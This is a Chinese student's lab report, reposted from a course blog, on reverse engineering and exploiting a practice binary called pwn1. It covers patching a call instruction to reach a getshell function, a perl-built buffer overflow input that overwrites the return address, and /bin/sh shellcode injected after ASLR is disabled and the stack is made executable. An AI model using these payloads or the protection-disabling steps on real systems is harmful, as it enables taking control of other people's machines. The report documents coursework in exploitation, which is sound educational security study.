码迷,mamicode.com
首页 > 其他好文 > 详细

20155231 邵煜楠《网络对抗技术》实验一 PC平台逆向破解

时间:2018-03-19 00:30:53      阅读:236      评论:0      收藏:0      [点我收藏+]

标签:构造   流程   body   汇编   code   目标   space   入参   bof   

20155231 邵煜楠《网络对抗技术》实验一 PC平台逆向破解

实验内容

  1. 直接修改程序机器指令,改变程序执行流程;
  2. 通过构造输入参数,造成BOF攻击,改变程序执行流;
  3. 注入Shellcode并执行。

实验步骤

一:
  • 下载目标文件pwn1,反汇编
    利用

    objdump -d pwn1

    对pwn1进行反汇编;

  • vi pwn1打开pwn1;
  • 利用%!xxd将文件转换成16进制显示,利用/e8 d7ff ffff进行搜索将d7改为c3(计算“0804847d(getshell)-08048491(foo)+d7”得c3ffffff),利用%!xxd -r转回之前,再次进行反汇编;
    技术分享图片

技术分享图片

二:
  • 编辑输入为

    perl -e ‘print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"‘ > input

    ,可用xxd input查看input,随后运行pwn1;

技术分享图片

技术分享图片

三:
  • 输入下面的指令
execstack -s pwn1    //设置堆栈可执行
execstack -q pwn1    //查询文件的堆栈是否可执行
more /proc/sys/kernel/randomize_va_space 
echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化
more /proc/sys/kernel/randomize_va_space
  • 构造输入
perl -e ‘print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"‘ > input_shellcode
  • 输入(cat input_shellcode;cat) | ./pwn1,运行pwn1,然后打开顶一个终端,输入ps -ef | grep pwn1找到pwn1的进程号
  • 输入gdb,进入gdb调试,输入进程号
  • 然后输入info r,查看栈的地址
  • 使用x/16x 0xffffd33c查看其存放内容
  • 由我们构造的input_shellcode可知,shellcode就在其后,修改为这个地址;
  • 输入
  • perl -e ‘print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x10\xd3\xff\xff\x00"‘ > input_shellcode
    重新构造input

技术分享图片
技术分享图片

20155231 邵煜楠《网络对抗技术》实验一 PC平台逆向破解

标签:构造   流程   body   汇编   code   目标   space   入参   bof   

原文地址:https://www.cnblogs.com/javasyn/p/8598297.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!